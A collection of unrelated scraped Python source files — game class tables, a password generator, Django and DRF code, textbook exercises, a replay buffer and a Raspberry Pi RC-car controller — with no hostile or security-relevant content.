13,\n 'DR': 1,\n 'MV': 30,\n 'Weight Class': 'Medium',\n },\n 'Equipment': [\n 'backpack',\n 'bandages',\n 'large sack',\n 'soft leather pouch',\n 'quiver of arrows (12)',\n 'hemp rope',\n 'tinderbox',\n 'torches (2)',\n 'wineskin (full)',\n 'iron rations (7)',\n ],\n 'XP Next': 2000,\n },\n 'Thief': {\n 'HD': 6,\n 'FA': 1,\n 'Saving Throws': {\n 'Death': 0,\n 'Transformation': 0,\n 'Device': 2,\n 'Avoidance': 2,\n 'Sorcery': 0,\n },\n 'Class Abilities': {\n 'Agile': '+1 AC bonus when unarmored and unemcumbered (small shield allowed)',\n 'Backstab': 'An attack from behind with a class 1 or 2 melee weapon with which the thief is skilled. The target must be unaware of the attack. The attack roll is made at a +4 bonus. Double weapon damage dice are rolled.',\n 'Clandestine Tongue': \"Thieves' Cant\",\n 'Detect Secret Doors': 'Base 3:6 chance',\n 'Thief Abilities': {\n # chance in 12\n 'Climb': 8,\n 'Decipher Script': 0,\n 'Discern Noise': 4,\n 'Hide': 5,\n 'Manipulate Traps': 3,\n 'Move Silently': 5,\n 'Open Locks': 3,\n 'Pick Pockets': 4,\n 'Read Scrolls': '-',\n },\n },\n 'Alignment': 'Any, save Lawful Good',\n 'Armor Allowed': 'Light',\n 'Shields Allowed': 'Small',\n 'Favored Weapons': \"Axe (hand), Bow (short), Club (light), Crossbow (light), Dagger, Dart, Flail (horseman’s), Garrotte, Hammer (horseman’s), Mace (horseman’s), Pick (horseman’s), Sling, Sword (short, falcata, long, broad)\",\n 'Weapons': [\n {\n 'Name': 'Short Sword',\n 'WC': 1,\n 'Attack Rate': '1/1',\n 'Damage': '1d6',\n 'Range': '',\n 'Other': '',\n },\n {\n 'Name': 'Darts (x2)',\n 'WC': None,\n 'Attack Rate': '1/1',\n 'Damage': '1d3',\n 'Range': '15/30/45',\n 'Other': '',\n },\n ],\n 'Armor': {\n 'Type': 'Leather Armor',\n 'AC': 12,\n 'DR': 0,\n 'MV': 40,\n 'Weight Class': 'Light',\n },\n 'Equipment': [\n 'backpack',\n 'bandages',\n 'large sack',\n 'soft leather pouch',\n 'chalk',\n 'dice',\n 'fishing hooks (12)',\n 'fishing string',\n 'grappling hook',\n 'silk rope',\n 'spool of wire',\n 'writing stick',\n 'thieves tools',\n 'tinderbox',\n 'torches (2)',\n 'iron rations (7)'\n ],\n 'XP Next': 1500,\n },\n 'Magician': {\n 'HD': 4,\n 'FA': 0,\n 'Saving Throws': {\n 'Death': 0,\n 'Transformation': 0,\n 'Device': 2,\n 'Avoidance': 0,\n 'Sorcery': 2,\n },\n 'Class Abilities': {\n \"Magician's Familiar\": 'To summon a smnall animal of 1d3+1 hp to function as a familiar',\n 'Read Magic': 'The ability to decipher otherwise unintelligible magical inscriptions or symbols placed on weapons, armour, items, doors, walls, and other media by means of the sorcerer mark spell or other like methods',\n 'Read Scrolls': 'To decipher and invoke spells on magician scrolls',\n 'Scribe Scrolls': 'To write from one to five known spells onto a scroll, creating a single-use magical device, at a cost of 500 gp + 100 gp per spell level',\n },\n 'Alignment': 'Any',\n 'Armor Allowed': 'None',\n 'Shields Allowed': 'None',\n 'Favored Weapons': 'Dagger, Dart, Quarterstaff, Sling',\n 'Weapons': [\n {\n 'Name': 'Silver Dagger',\n 'WC': 1,\n 'Attack Rate': '1/1',\n 'Damage': '1d4',\n 'Range': '10/20/30',\n 'Other': '',\n },\n {\n 'Name': 'Quarterstaff',\n 'WC': 3,\n 'Attack Rate': '1/1',\n 'Damage': '1d6',\n 'Range': '',\n 'Other': '',\n },\n {\n 'Name': 'Sling',\n 'WC': None,\n 'Attack Rate': '1/1',\n 'Damage': '1d4',\n 'Range': '50/100/150',\n 'Other': '',\n },\n ],\n 'Armor': {\n 'Type': 'None',\n 'AC': 10,\n 'DR': 0,\n 'MV': 40,\n 'Weight Class': '-',\n },\n 'Equipment': [\n 'backpack',\n 'small sack',\n 'soft leather pouch',\n 'bandages',\n 'sling bullets (20)',\n 'blanket',\n 'chalk',\n 'ink and quill',\n 'incendiary oil',\n 'parchment (2)',\n 'silk rope',\n 'writing stick',\n 'tinderbox',\n 'torches (3)',\n 'wineskin (full)',\n 'standard rations (7)',\n 'spell book',\n ],\n 'XP Next': 2500,\n },\n 'Cleric': {\n 'HD': 8,\n 'FA': 1,\n 'Saving Throws': {\n 'Death': 2,\n 'Transformation': 0,\n 'Device': 0,\n 'Avoidance': 0,\n 'Sorcery': 2,\n },\n 'Class Abilities': {\n 'Read Scrolls': 'To decipher and invoke spells on cleric scrolls',\n 'Scribe Scrolls': 'To write from one to five known spells onto a scroll, creating a single-use magical device, at a cost of 500 gp + 100 gp per spell level',\n 'Turn Undead': \"All clerics can exert control over the undead and some dæmonic beings, causing them to flee and/or cower. This ability can be used a number of times per day equal to the character's level; however, the cleric can make but one attempt per encounter.\",\n },\n 'Alignment': 'Any',\n 'Armor Allowed': 'Any',\n 'Shields Allowed': 'Any',\n 'Favored Weapons': 'Club (light, war), Dagger, Flail (horseman’s, footman’s), Hammer (horseman’s, war), Lasso, Mace (horseman’s, footman’s), Morning Star, Quarterstaff, Spear (short, long), Spiked Staff, Sword (short, long, broad, bastard), Whip',\n 'Weapons': [\n {\n 'Name': 'War Hammer',\n 'WC': 2,\n 'Attack Rate': '1/1',\n 'Damage': '1d8',\n 'Range': '',\n 'Other': 'Versatile (1d10)',\n },\n {\n 'Name': 'Dagger',\n 'WC': 1,\n 'Attack Rate': '1/1',\n 'Damage': '1d4',\n 'Range': '10/20/30',\n 'Other': '',\n },\n ],\n 'Armor': {\n 'Type': 'Studded Armor',\n 'AC': 13,\n 'DR': 0,\n 'MV': 40,\n 'Weight Class': 'Light',\n },\n 'Equipment': [\n 'backpack',\n 'bandages',\n 'soft leather pouch',\n 'small sack',\n 'tinderbox',\n 'torches (3)',\n 'wineskin (full)',\n 'writing stick',\n 'iron rations (7)',\n 'holy water',\n 'silver holy symbol',\n ],\n 'XP Next': 2000,\n },\n}\n","sub_path":"tables/class_info.py","file_name":"class_info.py","file_ext":"py","file_size_in_byte":8861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"354803964","text":"# coding=utf8\n__data__ = '2018/5/30'\n__author__ = 'Administrator'\n\"\"\"\nwhere the hope? The hope is on you hand\n\n\"\"\"\n# 利用python生成一个随机10位的字符串\nimport string\nimport random\n\n'''生成有大小写加数字组成的列表'''\nlist = list(string.ascii_lowercase + string.ascii_uppercase) + [str(i) for i in range(10)]\n'''特殊字符列表'''\nFH = ('!', '@', '#', '$', '%', '&', '_')\n\"\"\"追加的list里面\"\"\"\nfor f in FH:\n list.append(f)\nnum = random.sample(list, 10)\n'''随机取出10个数'''\nstr = ''\nvalue = str.join(num) # 将取出的十个随机数进行重新合并\nif not value[0].isdigit():\n print(value)\nelse:\n print(value[::-1])\n# print(num)\n\n","sub_path":"passwd_rand.py","file_name":"passwd_rand.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"349043928","text":"from __future__ import print_function\nimport tensorflow as tf\n\ndef viterbi_decode(logits, trans_params, sequence_lengths):\n \"\"\"Predict by viterbi decoding\n\n Args:\n logits: [batch_size, fixed sequence_length, class_size]\n trans_params: [class_size, class_size]\n sequence_lengths: [batch_size]\n\n Returns:\n viterbi_sequences: [batch_size, variable sequence_length]\n \"\"\"\n \n viterbi_sequences = []\n for logit, sequence_length in zip(logits, sequence_lengths):\n logit = logit[:sequence_length] # keep only the valid steps\n viterbi_seq, viterbi_score = tf.contrib.crf.viterbi_decode(logit, trans_params)\n viterbi_sequences += [viterbi_seq]\n return viterbi_sequences\n \n\n","sub_path":"viterbi.py","file_name":"viterbi.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"108771011","text":"from django.urls import path, include\r\n\r\nfrom . import views\r\n\r\n\r\nurlpatterns = [\r\n path('', views.course_list),\r\n path('/', views.course_detail),\r\n path('//', views.lesson_detail),\r\n]\r\n","sub_path":"courses/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"84515808","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nimport datetime as dt\nfrom .models import Photos, Location\n\n# Create your views here.\ndef index(request):\n photos = Photos.todays_album()\n locations = Location.objects.all()\n return render(request, 'index.html', {\"photos\": photos,\"locations\": locations})\n\ndef search_results(request):\n\n if 'photos' in request.GET and request.GET[\"photos\"]:\n search_term = request.GET.get(\"photos\")\n searched_photos = Photos.search_by_category(search_term)\n message = f\"{search_term}\"\n\n return render(request, 'search.html',{\"message\":message,\"photos\": searched_photos})\n\n else:\n return render(request, 'search.html')\n\ndef photos(request,photos_id):\n try:\n photos = Photos.objects.get(id = photos_id)\n except DoesNotExist:\n raise Http404()\n return render(request,\"photo.html\", {\"photos\":photos}) \n\ndef location(request,location):\n locations = Location.objects.all()\n selected_location = Location.objects.get(id = location)\n album = Photos.objects.filter(location = selected_location.id)\n return render(request, 'location.html', {\"location\":selected_location,\"locations\":locations,\"album\":album})\n","sub_path":"gallery/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"347363648","text":"import xcffib\nimport functools\nfrom libqtile.backend.x11 import xcbq\n\ndef _enable(style):\n xcbq.Window.paint_borders = style\n\ndef set_bar_border():\n\n def _style(self, position, width, color):\n core = self.conn.conn.core\n pixmap = self.conn.conn.generate_id()\n core.CreatePixmap(self.conn.default_screen.root_depth, pixmap, self.wid, 0, width)\n gc = self.conn.conn.generate_id()\n core.CreateGC(gc, pixmap, xcffib.xproto.GC.Foreground, color)\n rect = xcffib.xproto.RECTANGLE.synthetic(width, width)\n core.PolyFillRectangle(pixmap, gc, 1, [rect])\n core.FreePixmap(pixmap)\n core.FreeGC(gc)\n\n _enable(_style)\n","sub_path":"config/qtile/custom_border.py","file_name":"custom_border.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"540952365","text":"from rest_framework import serializers\r\n\r\nfrom reviews.models import Comment, Review\r\nfrom titles.serializers import TitleGeneralSerializer\r\n\r\n\r\nclass ReviewSerializer(serializers.ModelSerializer):\r\n title = TitleGeneralSerializer(many=False, read_only=True)\r\n author = serializers.SlugRelatedField(\r\n read_only=True,\r\n slug_field='username')\r\n\r\n class Meta:\r\n model = Review\r\n fields = ['id', 'title', 'author', 'text', 'score', 'pub_date']\r\n\r\n\r\nclass CommentSerializer(serializers.ModelSerializer):\r\n author = serializers.SlugRelatedField(\r\n read_only=True,\r\n slug_field='username')\r\n review = ReviewSerializer(many=False, read_only=True)\r\n\r\n class Meta:\r\n model = Comment\r\n fields = ['id', 'text', 'author', 'pub_date', 'review']\r\n","sub_path":"reviews/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"248204639","text":"import numpy as np\r\n\r\n\r\ndef fib_pow(i):\r\n a = np.array([[1, 0], [0, 1]])\r\n b = np.array([[1, 1], [1, 0]])\r\n i -= 1\r\n while i > 0:\r\n if i % 2 == 1:\r\n a = np.dot(b, a)\r\n b = np.dot(b, b)\r\n i >>= 1\r\n return a[0][0]\r\n\r\n\r\ndef fast_exp_mod(b, e, m): # fast pow and mod\r\n result = 1\r\n while e != 0:\r\n if (e & 1) == 1:\r\n # ei = 1, then mul\r\n result = (result * b) % m\r\n e >>= 1\r\n # b, b^2, b^4, b^8, ... , b^(2^n)\r\n b = (b * b) % m\r\n return result\r\n\r\n\r\nn = int(input())\r\nM = 10**9 + 7\r\ntwo_pow_mod = fast_exp_mod(2, n+1, M)\r\nsecond = 4 * fib_pow(n+1) - (n+3)\r\nsecond_mod = second % M\r\n# please_ac = (two_pow_mod * second_mod) % M\r\nprint(second)\r\n","sub_path":"05K卖气球/Balloons_Final.py","file_name":"Balloons_Final.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"87464337","text":"## You need the following if this is ever being run as a script \nimport os, sys \n \nsys.path.insert(0, \"C:\\Documents and Settings\\wendy_admin\\src\\eclipse_workspace\\djangodb\\main\") \nif not os.environ.has_key(\"DJANGO_SETTINGS_MODULE\"):\n os.environ[\"DJANGO_SETTINGS_MODULE\"]=\"wjContact.settings\"\n \nimport datetime\n\n\nfrom wjContact.computers.models import Computer\n\n## Extensible Forms\nimport wjContact.views.forms as wjCoreForms\n\n## Ordinary forms\nfrom django import newforms as forms\n\n\nclass ComputerForm(wjCoreForms.ExtensibleForm):\n#class ComputerForm(forms.Form):\n\n \"\"\" \"\"\" \n\n cbv_no = forms.CharField(max_length=4, initial='1234')\n \n \n cpu_type = forms.ChoiceField(choices = Computer.CPU_TYPES)\n cpu_speed = forms.ChoiceField(choices = Computer.CPU_SPEEDS)\n case_type = forms.ChoiceField(choices = Computer.CASE_TYPES)\n ram = forms.ChoiceField(choices = Computer.RAM_AMOUNTS)\n hard_drive_size = forms.ChoiceField(choices = Computer.HARD_DRIVE_SIZES)\n optical_device1 = forms.CharField(max_length=50, initial='CD-Rom')\n optical_device2 = forms.CharField(max_length=50, initial='CD-RW') \n monitor_type = forms.CharField(max_length=50, initial='CRT')\n monitor_size = forms.CharField(max_length=50, initial='17') \n modem_type = forms.CharField(max_length=50, initial='Standard')\n usb = forms.CharField(max_length=50, initial='USB2.0')\n usb_ports = forms.CharField(max_length=50, initial='2')\n distroversion = forms.CharField(max_length=50, initial='CBV Standard') \n computer_status = forms.ChoiceField(choices = Computer.STATUS_CHOICES, \n initial = \"in_shop\")\n \n\n def save(self):\n new_computer = Computer(\n cpu_type = self.clean_data['cpu_type'],\n cpu_speed = self.clean_data['cpu_speed'],\n case_type = self.clean_data['case_type'],\n ram = self.clean_data['ram'],\n hard_drive_size = self.clean_data['hard_drive_size'],\n optical_device1 = self.clean_data['optical_device1'],\n optical_device2 = self.clean_data['optical_device2'], \n monitor_type = self.clean_data['monitor_type'],\n monitor_size = self.clean_data['monitor_size'],\n modem_type = self.clean_data['modem_type'],\n usb = self.clean_data['usb'],\n usb_ports = self.clean_data['usb_ports'],\n distroversion = self.clean_data['distroversion'],\n computer_status = self.clean_data['computer_status'],\n )\n new_computer.save()\n \n#=============================================================================== \n","sub_path":"misc/jan/wjContact/computers/views/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"319659621","text":"# -------------------------\n# Exercise 9 from Chapter 4\n# -------------------------\n\ndef myAppend(lst, obj):\n \"\"\"Recreates lst.append(obj)\n\n -> None\n \"\"\"\n end = len(lst)\n lst.insert(end, obj)\n\n\nl = [1, 2, 3]\nprint('before:', l)\n\nmyAppend(l, 'x')\nprint('after: ', l)\n\n\n# --------------------------\n# Exercise 15 from Chapter 4\n# --------------------------\n\nimport random\n\n# list of sums (zero'd at start)\nfreq = [0] * 12\n\n# dice rolling, store results in freq\nfor i in range(1000):\n a, b = random.randint(1, 6), random.randint(1, 6)\n freq[a + b - 1] += 1\n\n# table header\nprint(\"Roll Sum Frequency\")\nprint(\"=====================\")\n\n# results sorted by roll sum\nfor i in range(1, 13):\n fspace = ' ' * (10 - len(str(i)))\n print(i, fspace, freq[i - 1])\n\n\n# --------------------------\n# Exercise 16 from Chapter 4\n# --------------------------\n\nimport random\n\nsquares = [0] * 11 # zeroed list of squares\nsteps = 0 # steps taken\npos = 5 # position (starts in the middle)\n\nwhile pos in range(len(squares)):\n # increment counts\n squares[pos] += 1\n steps += 1\n\n # take a step\n walk = random.choice((-1, 1))\n pos += walk\n\n # print with pretty formatting (shows position in parentheses)\n build = '| '\n for i in range(len(squares)):\n if i == pos - walk:\n build += '(' + str(squares[i]) + ') | '\n else:\n build += str(squares[i]) + ' | '\n print(build)\n\nprint(\"Hit end after\", steps, \"steps\")\n\n\n# --------------------------\n# Exercise 17 from Chapter 4\n# --------------------------\n\nimport random\n\ngrid = []\nfor i in range(11):\n grid.append([0] * 11)\n\nposX, posY = 5, 5\nsteps = 0\n# dx, dy, label\nvectors = [[0, -1, 'up'],\n [0, 1, 'down'],\n [-1, 0, 'left'],\n [1, 0, 'right']]\n\nbounds = range(len(grid))\nwhile posX in bounds and posY in bounds:\n # update counts\n grid[posY][posX] += 1\n steps += 1\n\n # pretty formatting for the grid\n build = ['|'] * 11\n for y in range(11):\n for x in range(11):\n # put the current position in parens\n if x == posX and y == posY:\n build[y] += '(' + str(grid[y][x]) + ')|'\n else:\n build[y] += ' ' + str(grid[y][x]) + ' |'\n\n # print the grid\n print('-' * len(build[0]))\n for b in build:\n print(b)\n print('-' * len(b))\n print(\"\\n\")\n\n # move one step\n mov = random.choice(vectors)\n posX += mov[0]\n posY += mov[1]\n print('moved ', mov[2], ' to position (',\n posX, ',', posY, ')', sep='')\n\nprint(\"Left grid after\", steps, \"steps\")\n\n\n# --------------------------\n# Exercise 29 from Chapter 4\n# --------------------------\n\nimport random\n\n\ndef randomPick(lst):\n \"\"\"Pick and return an item randomly from lst (like random.choice(lst))\n\n -> any type in lst\n\n lst: the list\n \"\"\"\n lo = 0\n hi = len(lst) - 1\n index = random.randint(lo, hi)\n\n return lst[index]\n\n\n# -------------------------\n# Exercise 1 from Chapter 5\n# -------------------------\n\ndef frequency(lst):\n \"\"\"Frequency of every element in lst\n\n -> dict\n\n lst: a list\n \"\"\"\n counts = {}\n for ele in lst:\n counts[ele] = counts.get(ele, 0) + 1\n return counts\n\n\ndef histogram(lst):\n \"\"\"Print a histogram of lst\n\n -> None\n\n lst: a list\n \"\"\"\n hfreq = frequency(lst)\n for item in hfreq.keys():\n print(item, '*' * hfreq[item])\n\n\nhistogram(['abc', 1, 2, 'abc', 1, 'x'])\n\n\n# -------------------------\n# Exercise 2 from Chapter 5\n# -------------------------\n\ndef unique(lst):\n \"\"\"Filter out duplicates from lst\n\n -> list\n\n lst: a list\n \"\"\"\n results = []\n\n for el in lst:\n if el not in results:\n results.append(el)\n\n return results\n\nunique(['a', 'b', 'c', 1, 'a', 'x', 1, 2])\n","sub_path":"programming/assign-5/homework-5.py","file_name":"homework-5.py","file_ext":"py","file_size_in_byte":3856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"526745402","text":"import numpy as np\n\nfrom .replay_history import ReplayHistoryBuffer\n\n\nclass ReplayHistoryExtendedBuffer(ReplayHistoryBuffer):\n def __init__(self, size, train_frequency, avoid_episode_crossing=False, **kwargs):\n super().__init__(\n size,\n train_frequency,\n avoid_episode_crossing=avoid_episode_crossing,\n **kwargs\n )\n self.env_indices = {}\n\n def _sample_added(self, sample):\n self.env_indices[sample[\"env_id\"]] = sample[\"info\"][\"env_index\"]\n return super()._sample_added(sample)\n\n def _make_sample_range(self, env_id, index, steps, fixed_target=False):\n \"\"\"Prepares a timestep range from an ENV ID for train-batching\"\"\"\n assert index >= 0 and (index + steps <= len(self.buffer[env_id]))\n ret = []\n nstep_target = self.nstep_target\n\n for i in range(index, index + steps):\n # Update nstep discounts/targets (It may already be updated,\n # depending on sub-class, in which case _update_nstep does nothing)\n if fixed_target:\n # In fixed_target mode we never give a target beyond the\n # actual sequence being trained (Common in online training)\n nstep_target = min(nstep_target, index + steps - i)\n self._update_nstep(env_id, i, nstep_target)\n sample = self.buffer[env_id][i]\n ret.append(\n {\n \"target_states\": sample[\"target_state\"],\n \"states\": sample[\"state\"],\n \"returns\": sample[\"return\"],\n \"nsteps\": sample[\"nstep\"],\n \"target_masks\": sample[\"target_mask\"],\n \"policy_outputs\": sample[\"policy_output\"],\n \"env_indices\": sample[\"info\"][\"env_index\"]\n }\n )\n return ret\n","sub_path":"rltime/history/replay_history_extended.py","file_name":"replay_history_extended.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"397151310","text":"import regex as re\n\nHTML_TAGS = [\n\t'HTML',\n\t'HEADER',\n\t'HEAD',\n\t'FOOTER',\n\t'BODY',\n\t'P',\n\t'BR',\n\t'DIV'\n]\n#group re for the tags\nhtml_str = '(' + '|'.join(HTML_TAGS)+ ')'\n\n#group re for the brackets\nbra_to_re = '([{].*[}]|)?'\n\n#group re for the parantheses\npar_to_re = '\\((([^()]|(?R))*)\\)'\n\nhtml_to_re = html_str + bra_to_re + par_to_re\n\nregex = re.compile(rf'{html_to_re}')\n\n#regex for the special characters\nregex_sp = re.compile(r'\\s+')\n","sub_path":"tags.py","file_name":"tags.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"508113734","text":"# Author: Ori Levi - orilevi026@gmail.com\nimport RPi.GPIO as GPIO\nimport time\nimport pygame\nimport pigpio\nimport os \n\nos.system (\"sudo killall pigpiod\")\ntime.sleep(0.2)\nos.system (\"sudo pigpiod\")\ntime.sleep(0.2)\n\n#initate program ?\n\n\n\n#----------------------------------------------------MY FUNCTIONS\ndef ESC_Binding():\n print(\"CONNECTING ESC\")\n pi.set_servo_pulsewidth(ESC_pin,1500)# GROUND ZERO OF MOTOR\n time.sleep(1.5)\n print(\"BIP!\")\n time.sleep(0.5)\n pi.set_servo_pulsewidth(ESC_pin,0)\n print(\"CONNECTED SUCCESSFULY\")\n \ndef DanceMode():\n print(\"PARTTTYYY TIME\")\n MoveServo(servo_front_left,1.5)\n MoveServo(servo_front_right,1.5)\n time.sleep(0.3)\n MoveServo(servo_front_left,-1.5)\n MoveServo(servo_front_right,-1.5)\n time.sleep(0.3)\n MoveServo(servo_front_left,1.5)\n MoveServo(servo_front_right,1.5)\n time.sleep(0.3)\n MoveServo(servo_front_left,-1.5)\n MoveServo(servo_front_right,-1.5)\n time.sleep(0.3)\n \n MoveServo(servo_rear_right,1.5)\n MoveServo(servo_rear_left,1.5)\n time.sleep(0.3)\n MoveServo(servo_front_left,1.5)\n MoveServo(servo_front_right,1.5)\n time.sleep(0.3)\n MoveServo(servo_rear_right,-1.5)\n MoveServo(servo_rear_left,-1.5)\n time.sleep(0.3)\n MoveServo(servo_front_left,-1.5)\n MoveServo(servo_rear_left,-1.5)\n time.sleep(0.3)\n MoveServo(servo_front_right,1.5)\n MoveServo(servo_rear_right,1.5)\n time.sleep(0.3)\n#--------------------------------------------------------MOTOR FUNCTIONS\ndef AxisToRPM_Gas(val):#throttle\n return 1560+(val+1)*70*Gear[gear_index]\n\ndef AxisToRPM_Reverse(val):#reverse\n return 1560-((1+val)*(105)*Gear[gear_index])\n\ndef SetSpeed (speed):\n pi.set_servo_pulsewidth(ESC_pin,speed)\n \n#--------------------------------------------------------STEERING FUNCTIONS \ndef SteerServo(servo,steer):# SAME AS MOVE SERVO - DIFFRENT BOUNDS\n steer = round(steer,3)\n print(steer)\n if(steer < 6.41 and steer > 6.39):\n steer = 6.4\n elif (steer) > 9.0:\n steer = 9\n elif (steer) < 4.7:\n steer = 4.1\n servo.ChangeDutyCycle(steer)\n time.sleep(0.02)\n servo.ChangeDutyCycle(0)\n return 0\n \ndef AxisToRPM(val):\n return (val + 1 )*500 +800\n\ndef AxisToDuty (val):\n return float((val +1)*2.6 +4)\n \n \ndef ReverseDuty (val):\n return float(val * (-1))+13\n\n\ndef MoveServo(servo, pos):\n if (7.5 + pos) > 10.2:\n return pos-0.3\n if (7.5 + pos) < 4.8:\n return pos-0.3\n servo.ChangeDutyCycle(7.5 + pos)\n time.sleep(0.1)\n return pos\n#-------------------------------------------------GPIO PIN NUMS\nESC_pin = 21\nsteerPin = 20\nservoFR = 13\nservoFL = 19\nservoRL = 5\nservoRR = 6\nbuzzerPin = 23\n\n\n\n#------------------------------------------INTAITE SERVOS AND MOTOR PART\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)# turning off warnings\npi = pigpio.pi()\npi.set_servo_pulsewidth(ESC_pin,0)\ntime.sleep(0.1)\nESC_Binding()\nGPIO.setup(steerPin, GPIO.OUT)\nGPIO.setup(servoFR, GPIO.OUT)\nGPIO.setup(servoFL, GPIO.OUT)\nGPIO.setup(servoRL, GPIO.OUT)\nGPIO.setup(servoRR, GPIO.OUT)\nSTEER_SERVO = GPIO.PWM(20, 50)\nservo_front_right = GPIO.PWM(13, 50) # GPIO 17 for PWM with 50Hz\nservo_front_left = GPIO.PWM(19, 50)\nservo_rear_left = GPIO.PWM(5, 50)\nservo_rear_right = GPIO.PWM(6, 50)\nSTEER_SERVO.start(6.4)\ntime.sleep(0.4)\nSTEER_SERVO.ChangeDutyCycle(0)\nservo_front_right.start(7.5)\ntime.sleep(0.2)\nservo_front_left.start(7.5)\ntime.sleep(0.2)\nservo_rear_left.start(7.5)\ntime.sleep(0.2)\nservo_rear_right.start(7.5)\ntime.sleep(0.2)\n\nservo_front_right.ChangeDutyCycle(0)\nservo_front_left.ChangeDutyCycle(0)\nservo_rear_left.ChangeDutyCycle(0)\nservo_rear_right.ChangeDutyCycle(0)\nGPIO.setup(buzzerPin,GPIO.OUT)\n# GPIO.output(buzzerPin,GPIO.HIGH)\n# print(\"buzzerrrr\")\n# time.sleep(0.3)\n# GPIO.output(buzzerPin,GPIO.LOW)\n\n\n#-------------------------------------------------------VARS\ndone = False\nactive = True # true for right, false for left\n\nmotor_speed = 0\nsteer_step = 0\nstep_FR = 0\nstep_FL = 0\nstep_RR = 0\nstep_RL = 0\nstep_pos = 0\nstep_neg = 0\n#--------------------------------------------------------GEAR SETUP\nGear = [1.2,1.8,3]\ngear_index = 0\n\n#-------------------------------------------------------PYGAME INTIATE\npygame.init() # initaite pygame module\npygame.joystick.init() # initaite joystick module\njoystick = pygame.joystick.Joystick(0)\njoystick.init()\n\n#------------------------------------------------------EVENT HANDLER\nprint(\"CONTROLLER IS ACTIVE\")\nwhile done==False:\n # EVENT PROCESSING STEP\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done=True # Flag that we are done so we exit this loop\n print(done)\n \n if event.type == pygame.JOYAXISMOTION:# STEERING & THROTTLE FUNCTION----------------------\n if (event.axis == 0):\n j_axis = ReverseDuty(AxisToDuty(joystick.get_axis(0))) # steering is reverse on car\n SteerServo(STEER_SERVO,j_axis)\n \n \n if (event.axis == 4):\n motor_speed = AxisToRPM_Gas(joystick.get_axis(4))\n SetSpeed(motor_speed)\n \n \n if (event.axis == 5):\n motor_speed = AxisToRPM_Reverse(joystick.get_axis(5))\n SetSpeed(motor_speed)\n pygame.event.clear()\n \n \n if event.type == pygame.JOYHATMOTION:# HAT SECTION ------------------------------\n if joystick.get_hat(0) == (0, 1):#up\n step_FR = MoveServo(servo_front_right, step_FR+0.3)\n step_FL = MoveServo(servo_front_left, step_FL-0.3)\n step_RR = MoveServo(servo_rear_right, step_RR+0.3)\n step_RL = MoveServo(servo_rear_left, step_RL-0.3)\n time.sleep(0.1)\n \n if joystick.get_hat(0) == (-1, 0):#right\n step_FR = MoveServo(servo_front_right, step_FR-0.3)\n step_FL = MoveServo(servo_front_left, step_FL-0.3)\n step_RR = MoveServo(servo_rear_right, step_RR+0.3)\n step_RL = MoveServo(servo_rear_left, step_RL+0.3)\n time.sleep(0.1)\n \n if joystick.get_hat(0) == (1, 0):#left\n step_FR = MoveServo(servo_front_right, step_FR+0.3)\n step_FL = MoveServo(servo_front_left, step_FL+0.3)\n step_RR = MoveServo(servo_rear_right, step_RR-0.3)\n step_RL = MoveServo(servo_rear_left, step_RL-0.3)\n time.sleep(0.1)\n \n if joystick.get_hat(0) == (0, -1):#down\n step_FR = MoveServo(servo_front_right, step_FR-0.3)\n step_FL = MoveServo(servo_front_left, step_FL+0.3)\n step_RR = MoveServo(servo_rear_right, step_RR-0.3)\n step_RL = MoveServo(servo_rear_left, step_RL+0.3)\n time.sleep(0.1)\n \n servo_front_left.ChangeDutyCycle(0)\n servo_front_right.ChangeDutyCycle(0)\n servo_rear_left.ChangeDutyCycle(0)\n servo_rear_right.ChangeDutyCycle(0)\n\n \n \n if event.type == pygame.JOYBUTTONDOWN:# BUTTONS----------------------\n if joystick.get_button(11):# RESET THE SERVOS TO MIDDLE\n ESC_Binding()\n \n \n elif joystick.get_button(7):\n DanceMode()\n \n \n elif joystick.get_button(6):#GEAR\n if( gear_index == 2):\n gear_index = 0\n GPIO.output(buzzerPin,GPIO.HIGH)\n time.sleep(0.1)\n GPIO.output(buzzerPin,GPIO.LOW)\n else :\n gear_index += 1\n count = gear_index+1\n while count > 0:\n GPIO.output(buzzerPin,GPIO.HIGH)\n time.sleep(0.1)\n GPIO.output(buzzerPin,GPIO.LOW)\n count= count-1\n time.sleep(0.1)\n print(gear_index+1)\n \n elif joystick.get_button(4):#ALL RISE!\n step_FR = 0\n step_FL = 0\n step_RR = 0\n step_RL = 0\n servo_front_left.ChangeDutyCycle(9.3)\n time.sleep(0.1)\n servo_front_right.ChangeDutyCycle(5.6)\n time.sleep(0.1)\n servo_rear_left.ChangeDutyCycle(4.8)\n time.sleep(0.1)\n servo_rear_right.ChangeDutyCycle(10.1)\n time.sleep(0.1)\n servo_front_left.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_front_right.ChangeDutyCycle(0)\n time.sleep(0.1)\n servo_rear_left.ChangeDutyCycle(0)\n 